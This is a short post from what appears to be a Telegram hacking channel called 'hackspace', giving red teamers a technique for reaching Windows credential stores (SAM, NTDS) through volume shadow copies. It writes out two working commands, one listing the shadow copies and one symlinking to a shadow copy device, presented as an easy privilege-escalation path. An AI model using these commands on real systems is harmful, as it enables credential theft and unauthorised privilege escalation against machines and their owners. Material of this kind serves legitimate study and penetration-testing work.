hackspace
165 subscribers
283 photos
82 videos
25 files
1.02K links
hackspace
Download Telegram
Red Teamers: Volume shadow copies are backups of parts (or all) of the Windows filesystem. Accessing can be easy privesc (SAM, NTDS, etc.)

1. List shadows
vssadmin list shadows

2. Symlink for access
mklink /d c:\shadow \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\